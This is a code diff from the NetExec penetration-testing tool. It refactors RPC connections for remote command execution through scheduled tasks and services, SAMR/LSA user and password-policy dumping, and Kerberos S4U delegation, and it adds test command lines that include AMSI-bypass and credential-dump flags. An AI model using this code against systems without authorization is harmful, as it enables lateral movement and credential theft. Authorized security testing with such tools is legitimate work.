from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import gen_random_string
from time import sleep
from datetime import datetime, timedelta
from textwrap import dedent
from time import sleep
from impacket.dcerpc.v5 import tsch
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None,
def __init__(self, connection, logger=None, tries=None, share=None,
# These options are used by the schtask_as module, except the run_task_as
# that defaults to NT AUTHORITY\System user (SID S-1-5-18) if not specified
run_task_as="S-1-5-18", run_cmd=None, output_filename=None, task_name=None, output_file_location=None):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
self.__share_name = share_name
self.__lmhash = ""
self.__nthash = ""
self.__connection = connection
self.logger = logger
self.__tries = tries
self.__share = share
self.__outputBuffer = b""
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
self.__share = share
self.logger = logger
# Optional args for finetuning the task execution, e.g. used in nxc/modules/schtask_as.py
self.task_name = task_name if task_name else gen_random_string(8)
@@ -39,32 +32,6 @@ class TSCH_EXEC:
self.output_filename = output_filename
self.output_file_location = output_file_location
if hashes is not None:
# This checks to see if we didn't provide the LM Hash
if hashes.find(":") != -1:
self.__lmhash, self.__nthash = hashes.split(":")
else:
self.__nthash = hashes
if self.__password is None:
self.__password = ""
stringbinding = rf"ncacn_np:{self.__target}[\pipe\atsvc]"
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
)
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
def execute(self, command, output=False):
self.__retOutput = output
self.execute_handler(command)
@@ -172,20 +139,12 @@ class TSCH_EXEC:
return dedent(xml)
def execute_handler(self, command):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
dce = NXCRPCConnection(self.__connection).connect(r"\atsvc", tsch.MSRPC_UUID_TSCHS, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
xml = self.gen_xml(command)
self.logger.debug(f"Task XML: {xml}")
self.logger.info(f"Creating task \\{self.task_name}")
try:
# Windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
tsch.hSchRpcRegisterTask(dce, f"\\{self.task_name}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
except Exception as e:
if e.error_code and hex(e.error_code) == "0x80070005":
@@ -196,30 +155,40 @@ class TSCH_EXEC:
self.logger.fail(str(e))
return
try:
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
# Win2025+ (build 26100): RegistrationTrigger does not start the task over remote TSCH.
if self.__connection.server_os_build and int(self.__connection.server_os_build) >= 26100:
try:
tsch.hSchRpcRun(dce, f"\\{self.task_name}")
except tsch.DCERPCSessionError as e:
self.logger.debug(f"hSchRpcRun returned: {e}")
done = False
while not done:
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
try:
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
except tsch.DCERPCSessionError as e:
if e.error_code == 0x00041303:
sleep(2)
except tsch.DCERPCSessionError as e:
self.logger.fail(f"Error retrieving task last run info: {e}")
continue
self.logger.fail(f"Error retrieving task last run info: {e}")
break
if resp["pLastRuntime"]["wYear"] != 0:
done = True
else:
sleep(2)
self.logger.info(f"Deleting task \\{self.task_name}")
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
if self.__retOutput:
smbConnection = self.__rpctransport.get_smb_connection()
tries = 1
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
sleep(0.4)
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
self.__connection.conn.getFile(self.__share, self.__output_filename, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
@@ -247,7 +216,7 @@ class TSCH_EXEC:
sleep(1)
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
smbConnection.deleteFile(self.__share, self.__output_filename)
self.__connection.conn.deleteFile(self.__share, self.__output_filename)
except Exception:
pass
+16 -7
View File
@@ -18,16 +18,17 @@ from impacket.krb5 import constants
from nxc.logger import nxc_logger
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False):
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False, u2u=False):
my_tgt = None
if use_cache:
domain, _, tgt, _ = CCache.parseFile(domain, username)
domain, ccache_user, tgt, _ = CCache.parseFile(domain, username)
if tgt is None:
raise
my_tgt = tgt["KDC_REP"]
raise Exception("No TGT found in ccache file")
my_tgt = decoder.decode(tgt["KDC_REP"], asn1Spec=AS_REP())[0]
cipher = tgt["cipher"]
session_key = tgt["sessionKey"]
my_tgt = decoder.decode(my_tgt, asn1Spec=AS_REP())[0]
if not username and ccache_user:
username = ccache_user
if my_tgt is None:
principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
nxc_logger.debug("Getting TGT for user")
@@ -118,9 +119,14 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
if u2u:
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
req_body["kdc-options"] = constants.encodeFlags(opts)
server_name = Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
# For U2U, include the domain in the serverName
server_name = Principal(username, domain.upper(), type=constants.PrincipalNameType.NT_UNKNOWN.value) if u2u else Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(req_body, "sname", server_name.components_to_asn1)
req_body["realm"] = str(decoded_tgt["crealm"])
@@ -131,7 +137,10 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
nxc_logger.info("Requesting S4U2self")
if u2u:
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
nxc_logger.info(f"Requesting S4U2self{'+U2U' if u2u else ''}")
message = encoder.encode(tgs_req)
r = sendReceive(message, domain, kdcHost)
+16 -64
View File
@@ -1,82 +1,34 @@
# Stolen from https://github.com/Wh1t3Fox/polenum
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5 import samr
from nxc.logger import nxc_logger
from nxc.helpers.misc import convert, d2b
from nxc.helpers.rpc import NXCRPCConnection
class PassPolDump:
KNOWN_PROTOCOLS = {
"139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139),
"445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445),
}
def __init__(self, connection):
self.logger = connection.logger
self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.protocol = connection.args.port
self.username = connection.username
self.password = connection.password
self.domain = connection.domain
self.hash = connection.hash
self.lmhash = ""
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.host = connection.host
self.kdcHost = connection.kdcHost
self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
self.connection = connection
self.pass_pol = {}
if self.hash is not None:
if self.hash.find(":") != -1:
self.lmhash, self.nthash = self.hash.split(":")
else:
self.nthash = self.hash
if self.password is None:
self.password = ""
def dump(self):
# Try all requested protocols until one works.
for protocol in self.protocols:
try:
protodef = PassPolDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
except KeyError:
nxc_logger.debug(f"Invalid Protocol '{protocol}'")
nxc_logger.debug(f"Trying protocol {protocol}")
rpctransport = transport.SMBTransport(
self.addr,
port,
r"\samr",
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
self.aesKey,
doKerberos=self.doKerberos,
kdcHost=self.kdcHost,
remote_host=self.host,
)
try:
self.fetchList(rpctransport)
except Exception as e:
nxc_logger.debug(f"Protocol failed: {e}")
else:
# Got a response. No need for further iterations.
self.pretty_print()
break
try:
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except Exception as e:
nxc_logger.debug(f"Failed to connect to SAMR: {e}")
return self.pass_pol
try:
self.fetchList(dce)
except Exception as e:
nxc_logger.debug(f"Protocol failed: {e}")
else:
self.pretty_print()
return self.pass_pol
def fetchList(self, rpctransport):
dce = DCERPC_v5(rpctransport)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
def fetchList(self, dce):
# Setup Connection
resp = samr.hSamrConnect2(dce)
if resp["ErrorCode"] != 0:
+8 -7
View File
@@ -1,4 +1,4 @@
from argparse import _StoreTrueAction, _StoreAction
from argparse import _StoreTrueAction
from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action
@@ -7,9 +7,10 @@ def proto_args(parser, parents):
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
delegate_spn_arg = smb_parser.add_argument("--delegate-spn", action=get_conditional_action(_StoreAction), make_required=[], help="SPN to use for S4U2Proxy, if not specified the SPN used will be cifs/<target>", type=str)
generate_st = smb_parser.add_argument("--generate-st", type=str, dest="generate_st", action=get_conditional_action(_StoreAction), make_required=[], help="Store the S4U Service Ticket in the specified file")
smb_parser.add_argument("--spn", action="store", help="SPN to use for the Service Ticket. With --delegate it's the SPN used for S4U2Proxy (defaults to cifs/<target>).", type=str)
smb_parser.add_argument("--generate-st", type=str, dest="generate_st", help="Store a Service Ticket in the specified file. Use with --delegate to save the S4U ST, or without --delegate (together with --spn) to request a regular ST for the given SPN")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
u2u_arg = smb_parser.add_argument("--u2u", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use User-to-User (U2U) authentication with S4U2Self")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
@@ -27,8 +28,7 @@ def proto_args(parser, parents):
smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP")
smb_parser.add_argument("--generate-tgt", type=str, help="Generate a tgt ticket")
self_delegate_arg.make_required = [delegate_arg]
generate_st.make_required = [delegate_arg]
delegate_spn_arg.make_required = [delegate_arg]
u2u_arg.make_required = [delegate_arg]
cred_gathering_group = smb_parser.add_argument_group("Credential Gathering")
cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump SAM hashes from target systems")
@@ -49,11 +49,12 @@ def proto_args(parser, parents):
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration")
mapping_enum_group.add_argument("--shares", type=str, nargs="?", const="", help="Enumerate shares and access, filter on specified argument (read ; write ; read,write)")
shares_arg = mapping_enum_group.add_argument("--shares", type=str, nargs="?", const="", help="Enumerate shares and access, filter on specified argument (read ; write ; read,write)")
mapping_enum_group.add_argument("--exclude-shares", nargs="+", help="List of shares to exclude from enumeration (e.g., C$ Admin$ IPC$)")
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
mapping_enum_group.add_argument("--interfaces", action="store_true", help="Enumerate network interfaces")
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
file_write_check_arg = mapping_enum_group.add_argument("--file-write-check", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use file creation to check WRITE access on shares (default: ACL-based check, no disk writes)")
file_write_check_arg.make_required = [shares_arg]
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'READ' 'WRITE' or 'READ,WRITE'")
mapping_enum_group.add_argument("--disks", action="store_true", help="Enumerate disks")
mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="Enumerate domain users, if a user is specified than only its information is queried.")
+12 -101
View File
@@ -2,41 +2,20 @@
# Which in turn stole from Impacket :)
# Code refactored and added to by @mjhallenbeck (Marshall-Hallenbeck on GitHub)
from impacket.dcerpc.v5 import transport, lsat, lsad, samr
from impacket.dcerpc.v5 import lsat, lsad, samr
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.nmb import NetBIOSError
from impacket.smbconnection import SessionError
from nxc.helpers.rpc import NXCRPCConnection
class SamrFunc:
def __init__(self, connection):
self.logger = connection.logger
self.addr = connection.host
self.remote_name = connection.remoteName
self.protocol = connection.args.port
self.username = connection.username
self.password = connection.password
self.domain = connection.domain
self.hash = connection.hash
self.lmhash = connection.lmhash
self.nthash = connection.nthash
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.kdcHost = connection.kdcHost
self.host = connection.host
self.connection = connection
if self.hash is not None:
if self.hash.find(":") != -1:
self.lmhash, self.nthash = self.hash.split(":")
else:
self.nthash = self.hash
if self.password is None:
self.password = ""
self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.remote_name, remote_host=self.host, lmhash=self.lmhash, nthash=self.nthash, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, logger=self.logger)
self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.remote_name, remote_host=self.host, lmhash=self.lmhash, nthash=self.nthash, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
self.samr_query = SAMRQuery(connection=connection, logger=self.logger)
self.lsa_query = LSAQuery(connection=connection, logger=self.logger)
def get_builtin_groups(self, group):
domains = self.samr_query.get_domains()
@@ -85,54 +64,21 @@ class SamrFunc:
class SAMRQuery:
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", lmhash="", nthash="", kerberos=None, kdcHost="", aesKey="", logger=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = lmhash
self.__nthash = nthash
self.__aesKey = aesKey
self.__port = port
self.__remote_name = remote_name
self.__remote_host = remote_host
self.__kerberos = kerberos
self.__kdcHost = kdcHost
def __init__(self, connection=None, logger=None):
self.connection = connection
self.logger = logger
self.dce = self.get_dce()
self.server_handle = self.get_server_handle()
def get_transport(self):
string_binding = rf"ncacn_np:{self.__port}[\pipe\samr]"
self.logger.debug(f"Binding to {string_binding}")
# using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
return transport.SMBTransport(
self.__remote_name,
self.__port,
r"\samr",
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
doKerberos=self.__kerberos,
kdcHost=self.__kdcHost,
)
def get_dce(self):
rpc_transport = self.get_transport()
rpc_transport.setRemoteHost(self.__remote_host)
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
return NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except NetBIOSError as e:
self.logger.error(f"NetBIOSError on Connection: {e}")
return None
except SessionError as e:
self.logger.error(f"SessionError on Connection: {e}")
return None
return dce
def get_server_handle(self):
if self.dce:
@@ -178,53 +124,18 @@ class SAMRQuery:
class LSAQuery:
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", lmhash="", nthash="", kdcHost="", aesKey="", kerberos=None, logger=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = lmhash
self.__nthash = nthash
self.__aesKey = aesKey
self.__port = port
self.__remote_name = remote_name
self.__remote_host = remote_host
self.__kdcHost = kdcHost
self.__kerberos = kerberos
def __init__(self, connection=None, logger=None):
self.connection = connection
self.logger = logger
self.dce = self.get_dce()
self.policy_handle = self.get_policy_handle()
self.logger = logger
def get_transport(self):
string_binding = f"ncacn_np:{self.__remote_name}[\\pipe\\lsarpc]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(self.__port)
rpc_transport.setRemoteHost(self.__remote_host)
if self.__kerberos:
rpc_transport.set_kerberos(self.__kerberos, self.__kdcHost)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
)
return rpc_transport
def get_dce(self):
rpc_transport = self.get_transport()
try:
dce = rpc_transport.get_dce_rpc()
if self.__kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(lsat.MSRPC_UUID_LSAT)
return NXCRPCConnection(self.connection).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
except NetBIOSError as e:
self.logger.fail(f"NetBIOSError on Connection: {e}")
return None
return dce
def get_policy_handle(self):
resp = lsad.hLsarOpenPolicy2(self.dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
+16 -49
View File
@@ -1,68 +1,35 @@
# Stolen from Impacket
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
from impacket.nt_errors import STATUS_MORE_ENTRIES
from datetime import datetime, timedelta
from impacket.dcerpc.v5 import samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.nt_errors import STATUS_MORE_ENTRIES
from nxc.helpers.rpc import NXCRPCConnection
class UserSamrDump:
KNOWN_PROTOCOLS = {
"139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139),
"445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445),
}
def __init__(self, connection):
self.logger = connection.logger
self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.protocol = connection.args.port
self.username = connection.username
self.password = connection.password
self.domain = connection.domain
self.hash = connection.hash
self.lmhash = ""
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.host = connection.host
self.kdcHost = connection.kdcHost
self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
self.connection = connection
self.users = []
self.rpc_transport = None
self.dce = None
if self.hash is not None:
if self.hash.find(":") != -1:
self.lmhash, self.nthash = self.hash.split(":")
else:
self.nthash = self.hash
if self.password is None:
self.password = ""
def dump(self, requested_users=None, dump_path=None):
# Try all requested protocols until one works.
for protocol in self.protocols:
try:
protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
except KeyError:
self.logger.debug(f"Invalid Protocol: {protocol}")
try:
self.dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except Exception as e:
self.logger.debug(f"Failed to connect to SAMR: {e}")
return self.users
self.logger.debug(f"Trying protocol {protocol}")
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host)
try:
self.fetch_users(requested_users, dump_path)
break
except Exception as e:
self.logger.debug(f"Connection with protocol {protocol} failed: {e}")
try:
self.fetch_users(requested_users, dump_path)
except Exception as e:
self.logger.debug(f"Connection failed: {e}")
return self.users
def fetch_users(self, requested_users, dump_path):
self.dce = DCERPC_v5(self.rpc_transport)
self.dce.connect()
self.dce.bind(samr.MSRPC_UUID_SAMR)
users = []
# Setup Connection
+13 -105
View File
@@ -1,78 +1,34 @@
import os
from os.path import join as path_join
from time import sleep
from impacket.dcerpc.v5 import transport, scmr
from impacket.dcerpc.v5 import scmr
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.rpc import NXCRPCConnection
class SMBEXEC:
def __init__(self, host, share_name, smbconnection, username="", password="", domain="", doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
self.__host = host
self.__share_name = share_name
self.__port = port
self.__username = username
self.__password = password
self.__serviceName = gen_random_string()
self.__domain = domain
self.__lmhash = ""
self.__nthash = ""
def __init__(self, connection, share=None, logger=None, tries=None):
self.__connection = connection
self.__share = share
self.__smbconnection = smbconnection
self.logger = logger
self.__tries = tries
self.__serviceName = gen_random_string()
self.__output = None
self.__batchFile = None
self.__outputBuffer = b""
self.__shell = "%COMSPEC% /Q /c "
self.__retOutput = False
self.__rpctransport = None
self.__scmr = None
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.logger = logger
if hashes is not None:
# This checks to see if we didn't provide the LM Hash
if hashes.find(":") != -1:
self.__lmhash, self.__nthash = hashes.split(":")
else:
self.__nthash = hashes
rpc = NXCRPCConnection(self.__connection)
self.__scmr = rpc.connect(r"\svcctl", scmr.MSRPC_UUID_SCMR)
self.__rpctransport = rpc.transport
if self.__password is None:
self.__password = ""
stringbinding = f"ncacn_np:{self.__host}[\\pipe\\svcctl]"
self.logger.debug(f"StringBinding {stringbinding}")
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.set_dport(self.__port)
if hasattr(self.__rpctransport, "setRemoteHost"):
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
self.__aesKey,
)
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.__scmr = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
self.__scmr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.__scmr.connect()
s = self.__rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp["lpScHandle"]
@@ -145,7 +101,7 @@ class SMBEXEC:
while True:
try:
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
self.__connection.conn.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if tries >= self.__tries:
@@ -174,58 +130,10 @@ class SMBEXEC:
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
self.__connection.conn.deleteFile(self.__share, self.__output)
except Exception:
pass
def execute_fileless(self, data):
self.__output = gen_random_string(6)
self.__batchFile = gen_random_string(6) + ".bat"
local_ip = self.__rpctransport.get_socket().getsockname()[0]
command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data
with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
batch_file.write(command)
self.logger.debug("Hosting batch file with command: " + command)
command = self.__shell + f"\\\\{local_ip}\\{self.__share_name}\\{self.__batchFile}"
self.logger.debug("Command to execute: " + command)
self.logger.debug(f"Remote service {self.__serviceName} created.")
resp = scmr.hRCreateServiceW(
self.__scmr,
self.__scHandle,
self.__serviceName,
self.__serviceName,
lpBinaryPathName=command,
dwStartType=scmr.SERVICE_DEMAND_START,
)
service = resp["lpServiceHandle"]
try:
self.logger.debug(f"Remote service {self.__serviceName} started.")
scmr.hRStartServiceW(self.__scmr, service)
except Exception:
pass
self.logger.debug(f"Remote service {self.__serviceName} deleted.")
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output_fileless()
def get_output_fileless(self):
if not self.__retOutput:
return
while True:
try:
with open(path_join(TMP_PATH, self.__output), "rb") as output:
self.output_callback(output.read())
break
except OSError:
sleep(2)
def finish(self):
# Just in case the service is still created
try:
Generated
+6 -6
View File
@@ -1,4 +1,4 @@
# This file is automatically @generated by Poetry 2.3.2 and should not be changed by hand.
# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand.
[[package]]
name = "aardwolf"
@@ -1124,7 +1124,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2
[[package]]
name = "impacket"
version = "0.14.0.dev0+20260317.95020.1049826e"
version = "0.14.0.dev0+20260618.135123.153e8ddb"
description = "Network protocols Constructors and Dissectors"
optional = false
python-versions = "*"
@@ -1146,9 +1146,9 @@ six = "*"
[package.source]
type = "git"
url = "https://github.com/Pennyw0rth/impacket"
url = "https://github.com/fortra/impacket"
reference = "HEAD"
resolved_reference = "1049826efbc556221cca17f94e9fd0b944b8c600"
resolved_reference = "153e8ddb1ec3cda489443392cabf97c8c631a4e5"
[[package]]
name = "iniconfig"
@@ -2274,7 +2274,7 @@ develop = false
type = "git"
url = "https://github.com/Pennyw0rth/NfsClient"
reference = "HEAD"
resolved_reference = "9b61e0a6385743923ccffa6a80f8dbbf0714121d"
resolved_reference = "a8fea2c163bf665dc6a8e35bb50e7baf81e2c6ed"
[[package]]
name = "pyopenssl"
@@ -2990,4 +2990,4 @@ test = ["pytest", "pytest-cov"]
[metadata]
lock-version = "2.1"
python-versions = ">=3.10,<4.0"
content-hash = "4773214f8e890051867849f6b1dee89bc10a814f26d36b3fe678b4482df6a077"
content-hash = "25f60e7259f7357057bcd2bb0bcc33475123c141864172753791300d45a04698"
+2 -2
View File
@@ -46,8 +46,8 @@ dependencies = [
"xmltodict>=0.13.0",
# Git Dependencies
"certipy-ad @ git+https://github.com/Pennyw0rth/Certipy",
"impacket @ git+https://github.com/Pennyw0rth/impacket",
"oscrypto @ git+https://github.com/wbond/oscrypto@1547f535001ba568b239b8797465536759c742a3",
"impacket @ git+https://github.com/fortra/impacket",
"oscrypto @ git+https://github.com/wbond/oscrypto",
"pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient",
]
+5 -1
View File
@@ -8,6 +8,7 @@ netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --file-write-check
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --disks
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups
@@ -66,7 +67,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method smbexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method mmcexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use?
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi "select Name from win32_computersystem"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-query "select Name from win32_computersystem"
netexec --jitter 2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
@@ -150,6 +151,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
